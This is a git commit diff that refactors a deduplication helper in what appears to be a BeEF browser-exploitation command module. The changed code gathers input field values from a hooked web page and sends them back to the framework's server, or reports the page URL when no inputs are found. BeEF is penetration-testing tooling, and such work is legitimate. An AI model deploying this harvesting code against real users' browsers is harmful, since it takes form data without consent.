Replaced Array.prototype.unique with a cleaner jQuery equivalent

This commit is contained in:
Jack Walker
2020-07-06 16:24:09 +10:00
parent 9458bd8fc6
commit 4fc300ff87
6 changed files with 30 additions and 31 deletions

View File

@@ -25,7 +25,7 @@ beef.execute(function() {
// return input field info
if (input_values.length) {
beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result='+JSON.stringify(input_values.unique()));
beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result='+JSON.stringify(unique(input_values)));
// return if no input fields were found
} else {
beef.net.send('<%= @command_url %>', <%= @command_id %>, 'error=Could not find any inputs fields on '+window.location);